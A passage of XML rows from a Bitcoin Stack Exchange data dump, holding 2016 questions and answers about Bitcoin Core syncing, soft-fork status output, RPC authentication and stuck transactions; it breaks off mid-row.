  <row Id="43372" PostTypeId="2" ParentId="43370" CreationDate="2016-03-16T14:22:15.027" Score="3" Body="&lt;p&gt;The Bitcoin client used to download blocks without necessarily knowing if they could connect it to their current chain. If it couldn't connect a block to the genesis block, it would just keep it in memory. This was a waste of memory (up to 750 MB could be used up before it started dropping blocks) and bandwidth (if you drop a block that you need, that wastes bandwidth)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does something smarter now, though. It builds a chain of block headers to the current tip of the chain, &lt;em&gt;then&lt;/em&gt; downloads the block contents. Not only is this simpler, and more resource efficient, it also allows you to download multiple blocks in parallel. Blocks are written to disk as soon as they're downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there's no way that you will receive a block that you didn't ask for, the current Bitcoin client will drop the block and permanently disconnect from the peer that sent it.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-03-22T15:08:08.887" LastActivityDate="2016-03-22T15:08:08.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43373" PostTypeId="1" CreationDate="2016-03-16T17:16:17.127" Score="1" ViewCount="932" Body="&lt;p&gt;I am experiencing a recurring problem with my BitCoin Core wallet. The main issue here is that I get an error message every so often as the program is updating the transaction blocks. &lt;a href=&quot;https://i.stack.imgur.com/PQFlE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PQFlE.jpg&quot; alt=&quot;Assertion failed error&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see the jpeg in the link above, this is the exact error message I get when the client is updating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I am using BitCoin Core V 12.0&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have tried reindexing using : c:\Program Files\Bitcoin\bitcoin-qt.exe -reindex&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have tried to reinstall the client, then restart my computer, then open and let it update.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I haven't yet tried a RAM test to see if my RAM could be the source of corrupted data&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm running Windows 7 OS 64-bit, 8Gb DDR3 RAM&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I feel its something that can be fixed with a patch, but I could be wrong. If anyone has a solution that I can try myself, that would be most welcome. &lt;/p&gt;&#xA;" OwnerUserId="33979" LastActivityDate="2016-03-16T19:01:48.557" Title="BitCoin Core Error Message: &quot;Assertion failed!&quot;" Tags="|wallet|bitcoin-core|block|synchronization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43374" PostTypeId="2" ParentId="43371" CreationDate="2016-03-16T18:22:32.150" Score="2" Body="&lt;p&gt;This is a normal transaction for an exchange paying out their users. The inputs are from user deposits and the outputs are for user payouts. It's very hard to know without a look at their database who owns which address, but this type of transaction is very common for large services like exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason there are so many inputs and outputs is that it's a lot cheaper for the exchange to send out 1 big transaction instead of many little ones.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-03-16T18:22:32.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43375" PostTypeId="1" AcceptedAnswerId="43376" CreationDate="2016-03-16T18:36:09.360" Score="1" ViewCount="253" Body="&lt;p&gt;Every time I start my machine, root user tries to run bitcoind. I've checked .profile and such, but there don't seem to be any answers there. what else could be making my computer try to run the daemon?&lt;/p&gt;&#xA;" OwnerUserId="33980" LastActivityDate="2016-03-16T18:42:43.453" Title="Linux Mint: root running bitcoind on startup?" Tags="|bitcoind|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43376" PostTypeId="2" ParentId="43375" CreationDate="2016-03-16T18:42:43.453" Score="0" Body="&lt;p&gt;There are a couple of options where this could be loaded on startup, check the root crontab file (crontab -e) also look for files in the /etc/init.d/ folder it could be included in rc.local or another startup script.  &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-03-16T18:42:43.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43377" PostTypeId="2" ParentId="43373" CreationDate="2016-03-16T19:01:48.557" Score="1" Body="&lt;p&gt;It is possible that you are running out of RAM or HDD space.  Check &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/6196&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; github report from a user with a similar issue.  If this is not the case then I would run a memtest and see if you don't have an issue with your RAM.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-03-16T19:01:48.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43378" PostTypeId="2" ParentId="43360" CreationDate="2016-03-16T21:02:59.213" Score="3" Body="&lt;p&gt;There is no &lt;em&gt;21&lt;/em&gt; command for that. You need to: &lt;code&gt;sudo minerd --stop&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-03-16T21:02:59.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43379" PostTypeId="2" ParentId="40582" CreationDate="2016-03-17T07:55:40.697" Score="1" Body="&lt;p&gt;I also faced this problem.&#xA;There is a neat trick to only copy a column in firefox &lt;a href=&quot;http://www.alvinpoh.com/how-to-select-columns-of-text-in-your-browser-firefox/&quot; rel=&quot;nofollow&quot;&gt;http://www.alvinpoh.com/how-to-select-columns-of-text-in-your-browser-firefox/&lt;/a&gt; (Just need to use Ctrl key) . For chrome install &lt;a href=&quot;https://chrome.google.com/webstore/detail/columncopy/lapbbfoohlcmlbdaakldmmallcbcbpjb?hl=en&quot; rel=&quot;nofollow&quot;&gt;https://chrome.google.com/webstore/detail/columncopy/lapbbfoohlcmlbdaakldmmallcbcbpjb?hl=en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goto Receive Money Tab and in the list use Ctrl with mouse to select first coloumn and voila you have a list of addresses.&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2016-03-17T07:55:40.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43380" PostTypeId="1" AcceptedAnswerId="43385" CreationDate="2016-03-17T23:14:37.633" Score="2" ViewCount="211" Body="&lt;p&gt;I have a 0.12 full node syncing in prune node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I get when I execute &lt;code&gt;getblockchaininfo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pi@raspnode:~ $ bitcoin-cli getblockchaininfo {&#xA;    &quot;chain&quot; : &quot;main&quot;,&#xA;    &quot;blocks&quot; : 276483,&#xA;    &quot;headers&quot; : 403136,&#xA;    &quot;bestblockhash&quot; : &quot;00000000000000017871bf646ec12c1e2dedacef87dcd357cea0da1ddb0b64b5&quot;,&#xA;    &quot;difficulty&quot; : 1180923195.25802612,&#xA;    &quot;verificationprogress&quot; : 0.11950119,&#xA;    &quot;chainwork&quot; : &quot;00000000000000000000000000000000000000000000084f5ed912538557eaa8&quot;,&#xA;    &quot;pruned&quot; : true,&#xA;    &quot;softforks&quot; : [&#xA;        {&#xA;            &quot;id&quot; : &quot;bip34&quot;,&#xA;            &quot;version&quot; : 2,&#xA;            &quot;enforce&quot; : {&#xA;                &quot;status&quot; : true,&#xA;                &quot;found&quot; : 1000,&#xA;                &quot;required&quot; : 750,&#xA;                &quot;window&quot; : 1000&#xA;            },&#xA;            &quot;reject&quot; : {&#xA;                &quot;status&quot; : true,&#xA;                &quot;found&quot; : 1000,&#xA;                &quot;required&quot; : 950,&#xA;                &quot;window&quot; : 1000&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;id&quot; : &quot;bip66&quot;,&#xA;            &quot;version&quot; : 3,&#xA;            &quot;enforce&quot; : {&#xA;                &quot;status&quot; : false,&#xA;                &quot;found&quot; : 0,&#xA;                &quot;required&quot; : 750,&#xA;                &quot;window&quot; : 1000&#xA;            },&#xA;            &quot;reject&quot; : {&#xA;                &quot;status&quot; : false,&#xA;                &quot;found&quot; : 0,&#xA;                &quot;required&quot; : 950,&#xA;                &quot;window&quot; : 1000&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;id&quot; : &quot;bip65&quot;,&#xA;            &quot;version&quot; : 4,&#xA;            &quot;enforce&quot; : {&#xA;                &quot;status&quot; : false,&#xA;                &quot;found&quot; : 0,&#xA;                &quot;required&quot; : 750,&#xA;                &quot;window&quot; : 1000&#xA;            },&#xA;            &quot;reject&quot; : {&#xA;                &quot;status&quot; : false,&#xA;                &quot;found&quot; : 0,&#xA;                &quot;required&quot; : 950,&#xA;                &quot;window&quot; : 1000&#xA;            }&#xA;        }&#xA;    ],&#xA;    &quot;pruneheight&quot; : 0 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to understand the new specs about softforks. I know id is the BIP id. But what about this block of code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                &quot;enforce&quot; : {&#xA;                    &quot;status&quot; : false,&#xA;                    &quot;found&quot; : 0,&#xA;                    &quot;required&quot; : 750,&#xA;                    &quot;window&quot; : 1000&#xA;                },&#xA;                &quot;reject&quot; : {&#xA;                    &quot;status&quot; : false,&#xA;                    &quot;found&quot; : 0,&#xA;                    &quot;required&quot; : 950,&#xA;                    &quot;window&quot; : 1000&#xA;                }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33695" LastActivityDate="2016-03-18T20:25:21.147" Title="Softforks details in a 0.12 full node" Tags="|bitcoind|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43381" PostTypeId="1" AcceptedAnswerId="43387" CreationDate="2016-03-18T00:00:09.370" Score="1" ViewCount="213" Body="&lt;p&gt;Hi was reading through the wiki about exchanges, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Trading_bitcoins&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Trading_bitcoins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it looks there are two kinds of them, what's the difference?&lt;/p&gt;&#xA;" OwnerUserId="34018" LastActivityDate="2016-03-18T21:43:17.320" Title="what's the difference of the two trading engines?" Tags="|exchanges|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43382" PostTypeId="2" ParentId="41567" CreationDate="2016-03-18T01:25:05.743" Score="1" Body="&lt;p&gt;I found an answer: use TeraCopy and select &lt;em&gt;Older Only&lt;/em&gt; when asked about replacing the destination files. And just to be certain that everything gets updated like it should, I tested the resulting backup folder by running the Bitcoin node on it, and everything was normal.&lt;/p&gt;&#xA;" OwnerUserId="30782" LastActivityDate="2016-03-18T01:25:05.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43384" PostTypeId="2" ParentId="25383" CreationDate="2016-03-18T08:57:36.810" Score="5" Body="&lt;p&gt;Alice and Bob are &lt;a href=&quot;http://en.wikipedia.org/wiki/Alice_and_Bob&quot; rel=&quot;nofollow noreferrer&quot;&gt;placeholder characters&lt;/a&gt; corresponding to the letters of the alphabet. They are used especially in computer science to describe use-cases or scenarios. The scheme is used because it's more convenient to say &lt;em&gt;&amp;quot;Alice sends money to Bob&amp;quot;&lt;/em&gt; than to say &lt;em&gt;&amp;quot;Party A sends money to Party B&amp;quot;&lt;/em&gt;. As each name has a different initial, diagrams can fall back to single letter labeling.&lt;/p&gt;&#xA;&lt;p&gt;It's a well-known meme:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgs.xkcd.com/comics/protocol.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://imgs.xkcd.com/comics/protocol.png&quot; alt=&quot;Obligatory XKCD&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sup&gt;via &lt;a href=&quot;https://xkcd.com/1323/&quot; rel=&quot;nofollow noreferrer&quot;&gt;xkcd.com&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;The list usually goes something like this: &lt;strong&gt;A&lt;/strong&gt;lice, &lt;strong&gt;B&lt;/strong&gt;ob, &lt;strong&gt;C&lt;/strong&gt;harlie, &lt;strong&gt;D&lt;/strong&gt;ave, &lt;strong&gt;E&lt;/strong&gt;rin, &lt;strong&gt;F&lt;/strong&gt;rank,…&lt;/p&gt;&#xA;&lt;p&gt;Other names are used to represent attacker types or other recurring roles:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;C&lt;/strong&gt;arole, the oracle&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;E&lt;/strong&gt;ve, the eavesdropper&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;M&lt;/strong&gt;allory, the man-in-the-middle attacker with &lt;strong&gt;mal&lt;/strong&gt;icious intent&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;S&lt;/strong&gt;ybil, the attacker with lots of identities&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;T&lt;/strong&gt;rent, the &lt;strong&gt;tr&lt;/strong&gt;usted &lt;strong&gt;ent&lt;/strong&gt;ity&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2020-12-03T16:32:22.503" LastActivityDate="2020-12-03T16:32:22.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="43385" PostTypeId="2" ParentId="43380" CreationDate="2016-03-18T20:19:48.680" Score="2" Body="&lt;p&gt;Soft forks are changes in blockchain rules that add restrictions on which blocks are valid. Soft forks require a certain portion of miners to show that they have upgraded their software in the blocks that they mine before the rules go into effect. This is done so that miners stay in sync about which blocks are valid and which blocks are invalid. What you're seeing in that data is basically a progress report of how many miners have upgraded their software to show support for each of the soft forks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at BIP34:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {&#xA;    &quot;id&quot; : &quot;bip34&quot;,&#xA;    &quot;version&quot; : 2,&#xA;    &quot;enforce&quot; : {&#xA;        &quot;status&quot; : true,&#xA;        &quot;found&quot; : 1000,&#xA;        &quot;required&quot; : 750,&#xA;        &quot;window&quot; : 1000&#xA;    },&#xA;    &quot;reject&quot; : {&#xA;        &quot;status&quot; : true,&#xA;        &quot;found&quot; : 1000,&#xA;        &quot;required&quot; : 950,&#xA;        &quot;window&quot; : 1000&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This shows that BIP44 applies to all blocks with nVersion number greater than or equal to 2. It becomes enforced (the soft fork rules actually go into effect on blocks with version &gt;= 2) when 750 (required) of the last 1000 (window) blocks have a version greater than or equal to 2. To date, 1000 (found) of the most recent 1000 blocks on the network have signaled support for BIP34 by using a version number greater than or equal to 2 in their block. Thus, since it is over 750, the &quot;status&quot; is true and it is being enforced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reject portion shows similar info, but it's describing when the network will no longer accept blocks with version below the BIP34 version. So, when 950 (required) of the last 1000 (window) blocks on the network have nVersion &gt;= 2, blocks with version &amp;lt; 2 will no longer be accepted by the network. Currently, 1000 (found) blocks have had version &gt;= 2, so the reject status is also true, meaning blocks with version &amp;lt; 2 are rejected by the network.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2016-03-18T20:25:21.147" LastActivityDate="2016-03-18T20:25:21.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43386" PostTypeId="1" CreationDate="2016-03-18T21:10:55.677" Score="5" ViewCount="220" Body="&lt;p&gt;What do all the &lt;code&gt;reachable: false&lt;/code&gt;'s mean under each network? My node is connecting fine to other peers both in and out, I assume via IPv4 (since I didn't configure anything else special). Is my node reachable or not? Or does reachable mean something else in this context?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &quot;networks&quot;: [&#xA;    {&#xA;      &quot;name&quot;: &quot;ipv4&quot;,&#xA;      &quot;limited&quot;: false,&#xA;      &quot;reachable&quot;: false,&#xA;      &quot;proxy&quot;: &quot;&quot;,&#xA;      &quot;proxy_randomize_credentials&quot;: false&#xA;    }, &#xA;    {&#xA;      &quot;name&quot;: &quot;ipv6&quot;,&#xA;      &quot;limited&quot;: false,&#xA;      &quot;reachable&quot;: false,&#xA;      &quot;proxy&quot;: &quot;&quot;,&#xA;      &quot;proxy_randomize_credentials&quot;: false&#xA;    }, &#xA;    {&#xA;      &quot;name&quot;: &quot;onion&quot;,&#xA;      &quot;limited&quot;: false,&#xA;      &quot;reachable&quot;: false,&#xA;      &quot;proxy&quot;: &quot;&quot;,&#xA;      &quot;proxy_randomize_credentials&quot;: false&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2024-02-23T18:01:15.153" Title="What is meant by getnetworkinfo: networks: reachable = false" Tags="|network|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43387" PostTypeId="2" ParentId="43381" CreationDate="2016-03-18T21:43:17.320" Score="1" Body="&lt;p&gt;The price in real-time trading exchanges is determined dynamically based on supply and demand. People sell and buy which influences/determines the price fluctuations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price in fixed rate trading exchanges is whatever the seller chooses to; e.g. selling 1btc for $450 each. That price is usually determined by consulting real-time exchanges and the seller will update the price accordingly.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-03-18T21:43:17.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43389" PostTypeId="1" CreationDate="2016-03-18T22:10:25.060" Score="1" ViewCount="6128" Body="&lt;p&gt;why all the sellers whom selling bitcoin with Amazon gift card are asking for physical cards with a receipt for it.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="34041" LastEditorUserId="2306" LastEditDate="2016-03-18T22:53:17.813" LastActivityDate="2016-10-30T18:19:53.267" Title="buying bitcoin with Amazon gift card" Tags="|buy-bitcoins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43391" PostTypeId="1" AcceptedAnswerId="43398" CreationDate="2016-03-19T01:30:40.303" Score="1" ViewCount="402" Body="&lt;p&gt;running &lt;code&gt;$ bitcoind -server&lt;/code&gt; just hangs, when I look at my debug.log file it's going really crazy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2016-03-19 01:26:51 UpdateTip: new best=00000000000005f9ff6fe1e9e19f6f64dd9c1167077b7de4b93146df2e6f1004  height=192099  log2_work=68.48247  tx=5576861  date=2012-08-03 09:07:41 progress=0.022371  cache=46.6MiB(128445tx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The docs show me that running bitcoind should have asked me to set a password, but I never got that. Is something going wrong? Thanks&lt;/p&gt;&#xA;" OwnerUserId="27951" LastEditorUserId="120" LastEditDate="2016-03-19T18:51:05.573" LastActivityDate="2016-03-19T18:51:05.573" Title="bitcoind not booting, tons of output in debug.log file" Tags="|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43392" PostTypeId="2" ParentId="43391" CreationDate="2016-03-19T02:16:44.163" Score="1" Body="&lt;p&gt;Turns out that &lt;code&gt;$ bitcoind&lt;/code&gt; is just downloading the blockchain, the docs here: &lt;a href=&quot;https://bitcoin.org/en/full-node&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/full-node&lt;/a&gt; seem to be incorrect. :\&lt;/p&gt;&#xA;" OwnerUserId="27951" LastActivityDate="2016-03-19T02:16:44.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43394" PostTypeId="1" AcceptedAnswerId="43404" CreationDate="2016-03-19T05:15:08.200" Score="0" ViewCount="829" Body="&lt;p&gt;i sent bitcoins on 14.3.2016. the amount has been debited from my wallet but remains unconfirmed. i am waiting for the transaction to go through but maybe because i checked try and sent with 0 transaction fees the transaction is not being confirmed. i want to know how to get the bitcoins back and whether there is some way that a beginner like me can stop the unconfirmed transaction so that the coins are returned to my wallet.&lt;/p&gt;&#xA;" OwnerUserId="34047" LastActivityDate="2017-08-29T20:51:13.323" Title="Unconfirmed bitcoin transaction for more than 3 days" Tags="|lost-bitcoins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43395" PostTypeId="2" ParentId="43394" CreationDate="2016-03-19T07:27:42.000" Score="1" Body="&lt;p&gt;There is no chance you can stop transaction which already sent. You can only wait and yes.. your bitcoin will return into your wallet if transaction failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failed can cause many things, one of that things is take too long to confirm and you can't send or asking people to help you without cost nothing :)&lt;/p&gt;&#xA;" OwnerUserId="26806" LastActivityDate="2016-03-19T07:27:42.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43397" PostTypeId="2" ParentId="43389" CreationDate="2016-03-19T15:30:55.227" Score="1" Body="&lt;p&gt;There's no current way to check the Amazon gift card balance without actually depositing the gift card into your account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blog.purse.io/bitcoin-powers-huge-discounts/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; from purse.io for more details.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-03-19T15:30:55.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43398" PostTypeId="2" ParentId="43391" CreationDate="2016-03-19T16:39:51.420" Score="1" Body="&lt;p&gt;The documentation on &lt;a href=&quot;https://bitcoin.org/en/full-node&quot; rel=&quot;nofollow&quot;&gt;bitcoin.org&lt;/a&gt; is currently out of date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of Bitcoin Core 0.12, there is no need for the &lt;code&gt;rpcuser&lt;/code&gt; and &lt;code&gt;rpcpassword&lt;/code&gt; in &lt;code&gt;bitcoin.conf&lt;/code&gt; anymore, as &lt;a href=&quot;https://bitcoin.org/en/release/v0.12.0#rpc-random-cookie-rpc-authentication&quot; rel=&quot;nofollow&quot;&gt;cookie authentication&lt;/a&gt; is now used when they are not present.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-03-19T16:39:51.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43399" PostTypeId="1" AcceptedAnswerId="43400" CreationDate="2016-03-19T17:23:24.517" Score="0" ViewCount="266" Body="&lt;p&gt;This question was asked here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12209/bitcoind-and-multiple-users&quot;&gt;Bitcoind and multiple users&lt;/a&gt; but its answer is a link to a deprecated feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am running &lt;code&gt;bitcoind&lt;/code&gt; on a server and want it to manage multiple users, what is the proper way to authenticate to that server and have separate user accounts, or should I implement user accounts on my own end which interact with a master &lt;code&gt;bitcoind&lt;/code&gt; instance? &lt;/p&gt;&#xA;" OwnerUserId="27951" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-03-19T18:20:03.107" Title="What is the proper way to authenticate to Bitcoind for multiple users?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43400" PostTypeId="2" ParentId="43399" CreationDate="2016-03-19T18:20:03.107" Score="2" Body="&lt;p&gt;You should implement it as a separate layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoind doesn't really support multiple users.  It lets you set a single username/password to connect to the RPC server, as well as encrypting the (single) wallet with a passphrase.  But there's no way within bitcoind to have individual authentication credentials that will allow one to spend some of the coins in the wallet but not others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a typical way to do this would be to have bitcoind store all the coins of all the users, pooled in a single wallet.  Then your software has to track how many coins belong to each user, authenticating the users, and ensuring that they can only spend those coins which are credited to them.  (The accounts feature might have helped with the first of these, but not the others.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can run a separate bitcoind instance for each user, but this will require more resources.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2016-03-19T18:20:03.107" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43401" PostTypeId="1" AcceptedAnswerId="43402" CreationDate="2016-03-19T19:31:11.993" Score="0" ViewCount="181" Body="&lt;p&gt;I want to make some RPC calls from my local computer to a server I have which is currently syncing with the network via &lt;code&gt;$ bitcoind&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to make RPC calls for things like &lt;code&gt;getinfo&lt;/code&gt; but my request are failing. I just want to double check if it's even possible to hit it with a request and receive data back if its not synced up. I would have thought no, but I can use the &lt;code&gt;bitcoin-cli&lt;/code&gt; from my server to get things like &lt;code&gt;getinfo&lt;/code&gt; without an issue.&lt;/p&gt;&#xA;" OwnerUserId="27951" LastActivityDate="2016-03-19T20:45:16.223" Title="Do I need to be synced with the network to make remote RPC calls?" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43402" PostTypeId="2" ParentId="43401" CreationDate="2016-03-19T20:45:16.223" Score="1" Body="&lt;p&gt;Yes it is possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the rpcwait flag will prevent calls from failing while bitcoind is starting up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aslo, make sure you have configured your bitcoin.conf file correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;rpcuser, rpcpassword, and rpcallowip need to be set and these params need to be passed to bitcoin-cli during an api call.&lt;/p&gt;&#xA;" OwnerUserId="33898" LastActivityDate="2016-03-19T20:45:16.223" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43403" PostTypeId="1" CreationDate="2016-03-19T20:48:28.033" Score="0" ViewCount="1966" Body="&lt;p&gt;I have a private key (raw + WIF) and I want to send all funds from that address - fee to another address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a raw python function that can do that for me ? I will broadcast the tx manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to look into electrum source code but I find it to complicated for this task please help.&lt;/p&gt;&#xA;" OwnerUserId="34062" LastActivityDate="2016-05-19T04:20:40.933" Title="Create raw transaction in python" Tags="|client|electrum|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43404" PostTypeId="2" ParentId="43394" CreationDate="2016-03-19T21:09:42.600" Score="0" Body="&lt;p&gt;You can't retract a transaction. If it fails, the Bitcoins will be credited back to your wallet since Bitcoins can't be lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chances are high the the transaction will pass. Even with a fee of zero. I suppose you'll have to wait another 2-3 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I advise using Bitcoin-XT instead of Bitcoin-QT so we won't get insane transaction fee amounts and limited transaction volume per block in the future.&lt;/p&gt;&#xA;" OwnerUserId="34061" LastActivityDate="2016-03-19T21:09:42.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43406" PostTypeId="1" AcceptedAnswerId="43407" CreationDate="2016-03-19T21:37:42.533" Score="2" ViewCount="3352" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hsTSl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hsTSl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can verify that my node is up and that the port is up via the above method, however no amount of effort has allowed me to successfully make a remote RPC call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am booting my node via &lt;code&gt;$ bitcoind -daemon&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can make RPC calls via the same server without an issue using &lt;code&gt;$ bitcoin-cli getinfo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;bitcoin.conf&lt;/code&gt; file looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;rpcuser=rpcuser&#xA;rpcpassword=anthony&#xA;rpcallowip=::/0&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;rpcuser=notmyrealuser&#xA;rpcpassword=notmyrealpass&#xA;rpcallowip=0.0.0.0/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without luck, both of which were suggested here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/4894&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/issues/4894&lt;/a&gt; by the lead Bitcoin engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to authenticate using curl, the two scripts I am using are: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;curl --user notmyrealuser --data-binary '{&quot;jsonrpc&quot;: &quot;1.0&quot;, 